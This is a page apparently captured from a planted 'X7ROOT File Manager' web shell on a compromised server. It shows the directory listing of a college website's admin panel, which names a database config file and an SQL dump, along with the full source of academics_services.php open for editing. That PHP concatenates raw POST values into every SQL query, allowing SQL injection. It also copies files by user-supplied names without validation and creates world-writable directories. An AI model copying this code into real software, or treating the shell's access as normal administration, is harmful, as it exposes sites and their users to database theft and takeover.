File Manager

X7ROOT File Manager

Current Path: /var/sentora/hostdata/konguhitek/public_html/ktgadmin

var / sentora / hostdata / konguhitek / public_html / ktgadmin /

📁 ..
📄 academics_services.php(17.13 KB)
📄 academics_sidetab_multi_image_descp.php(6.2 KB)
📄 academics_sidetab_multi_image_descp_grid.php(4.15 KB)
📄 academics_sidetab_multi_images_grid.php(3.57 KB)
📄 add_academics_sidetab_multi_images.php(7.92 KB)
📄 add_committee_members.php(8.53 KB)
📄 add_edc_members.php(8.51 KB)
📄 add_events_maincategory_sidetab_multi_images.php(7.96 KB)
📄 add_products_maincategory_sidetab_multi_images.php(7.96 KB)
📄 add_r_and_d_images.php(10.66 KB)
📄 add_student_activities_images.php(10.7 KB)
📄 add_training_events_images.php(10.69 KB)
📄 add_trips_sidetab_multi_images.php(7.9 KB)
📄 advisory.php(7.96 KB)
📄 advisory_grid.php(4.15 KB)
📄 advisory_members.php(8.18 KB)
📄 advisory_members_grid.php(3.8 KB)
📄 advisory_members_services.php(2.99 KB)
📄 advisory_services.php(2.84 KB)
📄 alumni_gallery_cat_grid.php(3.69 KB)
📄 alumni_gallery_category_dropdown.php(484 B)
📄 alumni_gallery_services.php(5.75 KB)
📄 alumni_gallery_w_grid.php(4.13 KB)
📄 alumni_gallery_with_filter_details.php(15.86 KB)
📄 banner_details.php(7.67 KB)
📄 banner_grid.php(3.74 KB)
📄 banner_services.php(2.95 KB)
📄 committee.php(8 KB)
📄 committee_grid.php(3.83 KB)
📄 committee_members_grid.php(3.2 KB)
📄 committee_services.php(19.77 KB)
📁 css
📄 db_config.php(401 B)
📄 db_new_karur_public_school.sql(13.12 KB)
📄 department_cat_grid.php(3.64 KB)
📄 department_category_dropdown.php(460 B)
📄 department_grid.php(4.17 KB)
📄 department_services.php(5.63 KB)
📄 departments.php(16.28 KB)
📄 edc.php(7.98 KB)
📄 edc_activities.php(7.68 KB)
📄 edc_activities_grid.php(3.77 KB)
📄 edc_activities_services.php(3 KB)
📄 edc_grid.php(3.7 KB)
📄 edc_members_grid.php(3.18 KB)
📄 edc_services.php(7.01 KB)
📄 events_main_category_grid.php(3.67 KB)
📄 events_main_category_sidetab_mimg_descp_grid.php(4.53 KB)
📄 events_maincategory_dropdown.php(473 B)
📄 events_maincategory_sidetab_multi_images_grid.php(3.63 KB)
📄 events_services.php(17.04 KB)
📄 events_yearcat_sidetab_multi_image_descp.php(14.4 KB)
📄 faculty_mail.php(1.04 KB)
📄 faculty_reg.php(3.78 KB)
📄 faculty_reg_grid.php(3.13 KB)
📄 faculty_reg_insert.php(1.15 KB)
📄 gallery_cat_grid.php(3.67 KB)
📄 gallery_category_dropdown.php(477 B)
📄 gallery_services.php(7.85 KB)
📄 gallery_w_grid.php(4.1 KB)
📄 gallery_with_filter_details.php(15.79 KB)
📄 governing.php(7.96 KB)
📄 governing_grid.php(4.15 KB)
📄 governing_members.php(8.18 KB)
📄 governing_members_grid.php(3.81 KB)
📄 governing_members_services.php(3 KB)
📄 governing_services.php(2.84 KB)
📄 header.php(10.05 KB)
📄 iipc.php(7.94 KB)
📄 iipc_gallery_cat_grid.php(3.68 KB)
📄 iipc_gallery_category_dropdown.php(482 B)
📄 iipc_gallery_services.php(5.69 KB)
📄 iipc_gallery_w_grid.php(4.12 KB)
📄 iipc_gallery_with_filter_details.php(15.84 KB)
📄 iipc_grid.php(4.13 KB)
📄 iipc_inplant.php(7.97 KB)
📄 iipc_inplant_grid.php(4.16 KB)
📄 iipc_inplant_images.php(7.7 KB)
📄 iipc_inplant_images_grid.php(3.78 KB)
📄 iipc_inplant_images_services.php(3.02 KB)
📄 iipc_inplant_services.php(2.86 KB)
📄 iipc_iv.php(7.95 KB)
📄 iipc_iv_grid.php(4.14 KB)
📄 iipc_iv_images.php(7.68 KB)
📄 iipc_iv_images_grid.php(3.76 KB)
📄 iipc_iv_images_services.php(2.99 KB)
📄 iipc_iv_services.php(2.84 KB)
📄 iipc_members.php(8.14 KB)
📄 iipc_members_grid.php(3.79 KB)
📄 iipc_members_services.php(2.98 KB)
📄 iipc_services.php(2.83 KB)
📄 img_upload.php(606 B)
📄 index.php(4.83 KB)
📄 iqac.php(7.94 KB)
📄 iqac_grid.php(4.13 KB)
📄 iqac_members.php(8.16 KB)
📄 iqac_members_grid.php(3.79 KB)
📄 iqac_members_services.php(2.98 KB)
📄 iqac_services.php(2.83 KB)
📄 jobs.php(8.65 KB)
📄 jobs_grid.php(3.74 KB)
📄 jobs_services.php(2.76 KB)
📁 js
📄 latest_news.php(8.5 KB)
📄 latest_news_grid.php(3.88 KB)
📄 latest_news_services.php(3.28 KB)
📄 login.php(1.13 KB)
📄 logout.php(213 B)
📄 mail.php(982 B)
📁 media
📄 mou_details.php(7.97 KB)
📄 mou_details_grid.php(3.9 KB)
📄 mou_details_services.php(2.85 KB)
📄 mou_grid.php(3.8 KB)
📄 mou_image_details.php(7.72 KB)
📄 mou_services.php(2.98 KB)
📄 placements_details.php(10.1 KB)
📄 placements_details_grid.php(3.92 KB)
📄 placements_details_services.php(3.59 KB)
📄 popup_image_details.php(7.33 KB)
📄 popup_image_grid.php(3.65 KB)
📄 popup_services.php(4.72 KB)
📄 products_main_category_grid.php(3.68 KB)
📄 products_main_category_sidetab_mimg_descp_grid.php(4.54 KB)
📄 products_maincategory_dropdown.php(475 B)
📄 products_maincategory_sidetab_multi_images_grid.php(3.63 KB)
📄 products_services.php(17.1 KB)
📄 products_yearcat_sidetab_multi_image_descp.php(14.42 KB)
📄 profile_autobind.php(937 B)
📄 profile_update.php(932 B)
📄 r_and_d.php(7.97 KB)
📄 r_and_d_grid.php(4.15 KB)
📄 r_and_d_images_grid.php(3.65 KB)
📄 r_and_d_services.php(7.15 KB)
📄 settings.php(9.46 KB)
📄 student_activities.php(8.02 KB)
📄 student_activities_grid.php(4.18 KB)
📄 student_activities_images_grid.php(3.68 KB)
📄 student_activities_services.php(7.23 KB)
📄 student_mail.php(1.05 KB)
📄 student_reg.php(3.78 KB)
📄 student_reg_delete.php(502 B)
📄 student_reg_grid.php(3.04 KB)
📄 student_reg_insert.php(973 B)
📄 tbl_advisory_members.php(8.16 KB)
📄 team.php(8.23 KB)
📄 team_grid.php(3.72 KB)
📄 team_services.php(3.07 KB)
📁 temp
📄 training_events.php(8.03 KB)
📄 training_events_grid.php(4.17 KB)
📄 training_events_images_grid.php(3.67 KB)
📄 training_events_services.php(19.93 KB)
📄 trips_services.php(17.01 KB)
📄 trips_sidetab_multi_image_descp.php(6.19 KB)
📄 trips_sidetab_multi_image_descp_grid.php(4.13 KB)
📄 trips_sidetab_multi_images_grid.php(3.57 KB)
📄 update_academics_sidetab_multi_image_descp.php(4.9 KB)
📄 update_advisory.php(6.07 KB)
📄 update_advisory_members.php(6.14 KB)
📄 update_alumni_gallery_with_filter.php(13.4 KB)
📄 update_banner.php(6.36 KB)
📄 update_committee.php(6.16 KB)
📄 update_departments.php(13.8 KB)
📄 update_edc.php(6.13 KB)
📄 update_edc_activities.php(6.37 KB)
📄 update_events_yearcat_sidetab_multi_image_desp.php(13.18 KB)
📄 update_gallery_with_filter.php(13.34 KB)
📄 update_governing.php(6.07 KB)
📄 update_governing_members.php(6.14 KB)
📄 update_iipc.php(6.05 KB)
📄 update_iipc_gallery_with_filter.php(13.38 KB)
📄 update_iipc_inplant.php(6.09 KB)
📄 update_iipc_inplant_images.php(6.4 KB)
📄 update_iipc_iv.php(6.07 KB)
📄 update_iipc_iv_images.php(6.37 KB)
📄 update_iipc_members.php(6.11 KB)
📄 update_iqac.php(6.06 KB)
📄 update_iqac_members.php(6.12 KB)
📄 update_jobs.php(5.75 KB)
📄 update_latest_news.php(7.41 KB)
📄 update_mou.php(6.37 KB)
📄 update_mou_details.php(6.07 KB)
📄 update_placements_details.php(8.26 KB)
📄 update_popup_image.php(6.1 KB)
📄 update_products_yearcat_sidetab_multi_image_desp.php(13.2 KB)
📄 update_r_and_d.php(6.14 KB)
📄 update_student_activities.php(6.18 KB)
📄 update_team.php(6.89 KB)
📄 update_training_events.php(6.2 KB)
📄 update_trips_sidetab_multi_image_descp.php(4.88 KB)
📄 update_video_with_filter.php(12.71 KB)
📁 userdata
📁 vendors
📄 video_cat_grid.php(3.67 KB)
📄 video_category_dropdown.php(475 B)
📄 video_services.php(6.43 KB)
📄 video_w_grid.php(4.16 KB)
📄 video_with_filter_details.php(13.96 KB)

Editing: academics_services.php

<?php
include_once('header.php');
include_once("db_config.php");	
date_default_timezone_set('Asia/Kolkata');	
class gallery_services{
	function __construct($conn){
		$this->mySQLconn=$conn;
	}
	
	function products_sidetab_title_insert($curdate){
		$title=str_replace("'","^",$_POST['cat_name']);
		
		$sql= "INSERT INTO tbl_academics_sidetab_title (title,created_by,create_date) VALUES('".$title."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_title_delete($curdate){
		$sql= "update tbl_academics_sidetab_title set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_st_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_title_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_sidetab_title where prod_st_id='".$_POST['prod_st_id']."' and delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_sidetab_title_update($curdate){
		$title=str_replace("'","^",$_POST['cat_name']);
		
		$sql= "update tbl_academics_sidetab_title set title='".$title."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_st_id='".$_POST['prod_st_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_details_insert($curdate){
		$title=str_replace("'","^",$_POST['title']);
		$descp=str_replace("'","^",$_POST['finaldescp']);
		
		$sql= "INSERT INTO tbl_academics_sidetab_details (title,descp,imgname,created_by,create_date) VALUES('".$_POST['title']."','".$descp."','".$_POST['photo_name']."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			$final_dest='userdata/images/academics';
			if(is_dir( $final_dest)==FALSE){
				mkdir($final_dest,0777,TRUE);
			}
			copy('temp/'.$_POST['photo_name'],$final_dest.'/'.$_POST['photo_name']);
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_details_delete($curdate){
		$sql= "update tbl_academics_sidetab_details set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_st_dt_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_details_update($curdate){
		$descp=str_replace("'","^",$_POST['finaldescp']);
		$title=str_replace("'","^",$_POST['title']);
		
		if($_POST['photo_new_name']==''){
			$photo=$_POST['photo_old_name'];
		}
		else{
			$photo=$_POST['photo_new_name'];
		}
		
		$sql= "update tbl_academics_sidetab_details set title='".$_POST['title']."',descp='".$descp."',imgname='".$photo."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_st_dt_id='".$_POST['prod_st_dt_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			if($_POST['photo_new_name']!=''){
				$final_dest='userdata/images/academics';
				 if(is_dir( $final_dest)==FALSE){
					mkdir($final_dest,0777,TRUE);
				}
				copy('temp/'.$_POST['photo_new_name'],$final_dest.'/'.$_POST['photo_new_name']);
			}
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_details_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_sidetab_details where prod_st_dt_id='".$_POST['prod_st_dt_id']."' and delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_sidetab_multi_image_details_insert($curdate){
		$title=str_replace("'","^",$_POST['title']);
		$descp=str_replace("'","^",$_POST['finaldescp']);
		
		$sql= "INSERT INTO tbl_academics_sidetab_multi_image_details (title,descp,created_by,create_date) VALUES('".$_POST['title']."','".$descp."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_multi_images_insert($curdate){
		$title=str_replace("'","^",$_POST['title']);
		
		$sql= "INSERT INTO tbl_academics_sidetab_multi_images (prod_st_mi_dt_id,title,imgname,created_by,create_date) VALUES('".$_POST['prod_st_mi_dt_id']."','".$title."','".$_POST['photo_name']."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			$final_dest='userdata/images/academics';
			if(is_dir( $final_dest)==FALSE){
				mkdir($final_dest,0777,TRUE);
			}
			copy('temp/'.$_POST['photo_name'],$final_dest.'/'.$_POST['photo_name']);
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_multi_images_delete($curdate){
		$sql= "update tbl_academics_sidetab_multi_images set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_st_mi_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			//unlink('userdata/images/banner/'.$_POST['photo_name']);
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_multi_image_details_delete($curdate){
		$sql= "update tbl_academics_sidetab_multi_image_details set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_st_mi_dt_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_sidetab_multi_image_details_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_sidetab_multi_image_details where prod_st_mi_dt_id='".$_POST['prod_st_mi_dt_id']."' and delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_sidetab_multi_image_details_update($curdate){
		$title=str_replace("'","^",$_POST['title']);
		$descp=str_replace("'","^",$_POST['finaldescp']);
		
		$sql= "update tbl_academics_sidetab_multi_image_details set title='".$_POST['title']."',descp='".$descp."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_st_mi_dt_id='".$_POST['prod_st_mi_dt_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_insert($curdate){
		$mcat_name=str_replace("'","^",$_POST['mcat_name']);
		
		$sql= "INSERT INTO tbl_academics_main_category (title,created_by,create_date) VALUES('".$mcat_name."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_delete($curdate){
		$sql= "update tbl_academics_main_category set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_mcat_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_main_category where prod_mcat_id='".$_POST['prod_mcat_id']."' and delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_maincategory_update($curdate){
		$mcat_name=str_replace("'","^",$_POST['mcat_name']);
		
		$sql= "update tbl_academics_main_category set title='".$mcat_name."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_mcat_id='".$_POST['prod_mcat_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_insert($curdate){
		$cat_name=str_replace("'","^",$_POST['cat_name']);
		
		$sql= "INSERT INTO tbl_academics_maincategory_sidetab_title (prod_mcat_id,title,created_by,create_date) VALUES('".$_POST['prod_mcat_id']."','".$cat_name."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_delete($curdate){
		$sql= "update tbl_academics_maincategory_sidetab_title set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_mcat_st_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_maincategory_sidetab_title where prod_mcat_st_id='".$_POST['prod_mcat_st_id']."' and delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_maincategory_sidetab_update($curdate){
		$cat_name=str_replace("'","^",$_POST['cat_name']);
		
		$sql= "update tbl_academics_maincategory_sidetab_title set prod_mcat_id='".$_POST['prod_mcat_id']."',title='".$cat_name."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_mcat_st_id='".$_POST['prod_mcat_st_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_multiimage_descp_insert($curdate){
		$title=str_replace("'","^",$_POST['title']);
		
		$sql= "INSERT INTO tbl_academics_maincategory_sidetab_multi_image_details (prod_mcat_id,title,descp,created_by,create_date) VALUES('".$_POST['prod_mcat_id']."','".$title."','".$_POST['finaldescp']."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_multiimage_descp_delete($curdate){
		$sql= "update tbl_academics_maincategory_sidetab_multi_image_details set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_mcat_st_mi_dt_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_multiimage_descp_autobind($curdate){
		$bannerData=array();
		$sql= "select * from tbl_academics_maincategory_sidetab_multi_image_details t1 where prod_mcat_st_mi_dt_id='".$_POST['prod_mcat_st_mi_dt_id']."' and t1.delete_status='NDL'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		$rows=mysqli_num_rows($exec_query);
		if($rows>0){
			while($row=mysqli_fetch_array($exec_query,MYSQLI_ASSOC)){
				$bannerData[]=str_replace("^","'",$row);		
			}
		}
		return $bannerData;
	}
	function products_maincategory_sidetab_multiimage_descp_update($curdate){
		$title=str_replace("'","^",$_POST['title']);
		
		$sql= "update tbl_academics_maincategory_sidetab_multi_image_details set prod_mcat_id='".$_POST['prod_mcat_id']."',title='".$title."',descp='".$_POST['finaldescp']."',updated_by='".$_SESSION['login_user']."',update_date='".$curdate."' where prod_mcat_st_mi_dt_id='".$_POST['prod_mcat_st_mi_dt_id']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_multiimage_insert($curdate){
		$title=str_replace("'","^",$_POST['title']);
		
		$sql= "INSERT INTO tbl_academics_maincategory_sidetab_multi_images (prod_mcat_st_mi_dt_id,title,imgname,created_by,create_date) VALUES('".$_POST['prod_mcat_st_mi_dt_id']."','".$title."','".$_POST['photo_name']."','".$_SESSION['login_code']."','".$curdate."')";
			
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			$final_dest='userdata/images/academics';
			if(is_dir( $final_dest)==FALSE){
				mkdir($final_dest,0777,TRUE);
			}
			copy('temp/'.$_POST['photo_name'],$final_dest.'/'.$_POST['photo_name']);
			return true;
		}
		else{
			 return false;
		}
	}
	function products_maincategory_sidetab_multiimage_delete($curdate){
		$sql= "update tbl_academics_maincategory_sidetab_multi_images set delete_status='0',deleted_by='".$_SESSION['login_code']."',deleted_date='".$curdate."' where prod_mcat_st_mi_id='".$_POST['delid']."'";
	    $exec_query=mysqli_query($this->mySQLconn, $sql);
		if($exec_query){
			//unlink('userdata/images/banner/'.$_POST['photo_name']);
			return true;
		}
		else{
			 return false;
		}
	}
	
}		
$objVDS=new gallery_services($conn);
$curdate=date('Y-m-d H:i:s');
if($_POST['req']=='PRODSTINS'){
	$rtnMsg=$objVDS->products_sidetab_title_insert($curdate);
}
else if($_POST['req']=='PRODSTDEL'){
	$rtnMsg=$objVDS->products_sidetab_title_delete($curdate);
}
else if($_POST['req']=='PRODSTAUB'){
	$rtnMsg=$objVDS->products_sidetab_title_autobind($curdate);
}
else if($_POST['req']=='PRODSTUPD'){
	$rtnMsg=$objVDS->products_sidetab_title_update($curdate);
}
else if($_POST['req']=='PRODSTIDINS'){
	$rtnMsg=$objVDS->products_sidetab_details_insert($curdate);
}
else if($_POST['req']=='PRODSTIDDEL'){
	$rtnMsg=$objVDS->products_sidetab_details_delete($curdate);
}
else if($_POST['req']=='PRODSTIDUPD'){
	$rtnMsg=$objVDS->products_sidetab_details_update($curdate);
}
else if($_POST['req']=='PRODSTIDAUB'){
	$rtnMsg=$objVDS->products_sidetab_details_autobind($curdate);
}
else if($_POST['req']=='PRODSTMIDINS'){
	$rtnMsg=$objVDS->products_sidetab_multi_image_details_insert($curdate);
}
else if($_POST['req']=='PRODSTMIINS'){
	$rtnMsg=$objVDS->products_sidetab_multi_images_insert($curdate);
}
else if($_POST['req']=='PRODSTMIDEL'){
	$rtnMsg=$objVDS->products_sidetab_multi_images_delete($curdate);
}
else if($_POST['req']=='PRODSTMIDDEL'){
	$rtnMsg=$objVDS->products_sidetab_multi_image_details_delete($curdate);
}
else if($_POST['req']=='PRODSTMIDAUB'){
	$rtnMsg=$objVDS->products_sidetab_multi_image_details_autobind($curdate);
}
else if($_POST['req']=='PRODSTMIDUPD'){
	$rtnMsg=$objVDS->products_sidetab_multi_image_details_update($curdate);
}
else if($_POST['req']=='PRODMCINS'){
	$rtnMsg=$objVDS->products_maincategory_insert($curdate);
}
else if($_POST['req']=='PRODMCDEL'){
	$rtnMsg=$objVDS->products_maincategory_delete($curdate);
}
else if($_POST['req']=='PRODMCAUB'){
	$rtnMsg=$objVDS->products_maincategory_autobind($curdate);
}
else if($_POST['req']=='PRODMCUPD'){
	$rtnMsg=$objVDS->products_maincategory_update($curdate);
}
else if($_POST['req']=='PRODMCSTINS'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_insert($curdate);
}
else if($_POST['req']=='PRODMCSTDEL'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_delete($curdate);
}
else if($_POST['req']=='PRODMCSTAUB'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_autobind($curdate);
}
else if($_POST['req']=='PRODMCSTUPD'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_update($curdate);
}
else if($_POST['req']=='PRODMCSTMIINS'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_descp_insert($curdate);
}
else if($_POST['req']=='PRODMCSTMIDEL'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_descp_delete($curdate);
}
else if($_POST['req']=='PRODMCSTMIAUB'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_descp_autobind($curdate);
}
else if($_POST['req']=='PRODMCSTMIUPD'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_descp_update($curdate);
}
else if($_POST['req']=='PRODMCSTMIMGINS'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_insert($curdate);
}
else if($_POST['req']=='PRODMCSTMIMGDEL'){
	$rtnMsg=$objVDS->products_maincategory_sidetab_multiimage_delete($curdate);
}
mysqli_close($conn);
$json = array("op" =>$rtnMsg);
			
			// send data as json format
			header("Content-Type: application/json",true);
				echo json_encode($json);
?>

X7ROOT File Manager

Editing: academics_services.php

Upload File

Create Folder